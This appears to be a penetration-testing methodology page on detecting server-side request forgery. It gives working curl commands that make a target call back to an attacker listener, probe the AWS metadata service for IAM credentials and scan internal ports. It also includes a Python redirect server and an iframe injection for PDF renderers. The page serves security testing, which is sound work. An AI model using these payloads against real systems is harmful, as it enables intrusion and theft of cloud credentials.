# SSRF Detection

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/ssrf-detection
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-03-28
- **Updated:** 2026-03-28

Server-Side Request Forgery causes the server to make HTTP requests to attacker-controlled URLs. This enables access to internal services not exposed externally, cloud metadata endpoints, and in some cases blind out-of-band data exfiltration. Detection confirms the server makes outbound connections based on user input. Confirmed SSRF moves to [SSRF exploitation](https://hackindex.io/services/web/exploitation/ssrf-exploitation).

- **Out-of-band callback** points a URL parameter at your listener and watches for an incoming connection.
- **Cloud metadata probe** hits the AWS IMDS endpoint at 169.254.169.254 to check for IAM role exposure.
- **Internal service probing** tests localhost ports to identify running services via response timing and status codes.
- **Redirect chain SSRF** uses a redirect from your server to route the request to an internal address.
- **JSON and XML input surfaces** test URL fields in API bodies and XXE-capable endpoints.

Look for parameters named url, redirect, src, href, dest, host, endpoint, callback, feed, load, or fetch during [parameter crawling](https://hackindex.io/services/web/enumeration/parameter-crawling).

## Out-of-Band Callback Detection

The most reliable SSRF detection method. Point a URL parameter at a host you control and watch for an incoming connection:

```bash
nc -lvnp $LPORT &
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://$LHOST:$LPORT/ssrf-test"
# GET /ssrf-test HTTP/1.1
# Host: 10.10.14.5:4444
# User-Agent: Python-urllib/3.8
```

An incoming request confirms SSRF. The User-Agent in the callback often reveals the server-side HTTP library being used: useful for crafting follow-on payloads.

## Cloud Metadata Endpoint Test

If the callback confirms SSRF, immediately probe the AWS IMDS endpoint. It is the fastest high-impact SSRF follow-on in cloud environments:

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/latest/meta-data/"
# ami-id
# ami-launch-index
# hostname
# iam/
# instance-id
# local-ipv4
```

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# ec2-instance-role
```

## Internal Service Probing

Use SSRF to probe internal network services not reachable from outside. Measure response times and sizes to identify open ports:

```bash
for port in 22 80 443 3306 5432 6379 8080 8443; do echo -n "$port: "; time curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://127.0.0.1:$port/" -o /dev/null -w '%{http_code}' 2>&1; echo; done
# 22: 000
# 80: 200
# 443: 000
# 3306: 000
# 8080: 200
```

A 200 response for an internal port confirms the service is running internally and SSRF reaches it. A fast 000 means the port is closed. A slow 000 means the port may be filtered.

## Redirect Chain SSRF

Applications that follow redirects can be exploited via open redirects on trusted domains. Test whether the server follows redirects to internal addresses:

```bash
curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://$LHOST:$LPORT/redirect"
```

Serve a redirect from your listener to an internal address and observe whether the server follows it:

```python
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()
```

## SSRF via XML Input

XML-accepting endpoints with XXE can trigger SSRF through external entity HTTP requests: covered in [XXE detection](https://hackindex.io/services/web/vulnerability-discovery/xxe-dtd-processing-checks). Test JSON endpoints for URL fields too:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/api/webhook -H 'Content-Type: application/json' -d "{\"url\":\"http://$LHOST:$LPORT/ssrf-json\"}"
```

## Common SSRF Surfaces

Beyond obvious URL parameters, SSRF often hides in application features that fetch remote content as part of their normal operation. These surfaces are easy to overlook during testing because the URL input is not always a visible parameter.

- **PDF generation endpoints** accept HTML or URL input and render it server-side using headless Chrome, wkhtmltopdf, or similar tools. Inject `<iframe src="http://$LHOST:$LPORT/pdf-ssrf">` in the HTML body or pass an internal URL as the source document.
- **Headless browser and screenshot services** (URL preview, thumbnail generation, link unfurling in chat applications) fetch and render arbitrary URLs. The browser context often has access to internal networks and localhost services.
- **Webhook configuration panels** let users register callback URLs. The application sends HTTP requests to those URLs on events, making the webhook URL a stored SSRF vector that fires on every trigger.
- **File import from URL** (CSV import, image import, avatar from URL) fetches the resource server-side before processing it. The URL points at internal infrastructure instead of a legitimate file.
- **XML and document parsers** that process DOCX, XLSX, SVG, or other XML-based formats may resolve external entities or stylesheet references, creating an SSRF path through file upload.

Test each surface by pointing it at your listener and watching for a callback. The User-Agent header in the callback identifies the server-side library making the request.

## References

- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf) - SSRF detection methodology and internal service targeting
- [AWS: Instance Metadata Service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html) - IMDS endpoint paths for credential retrieval via SSRF
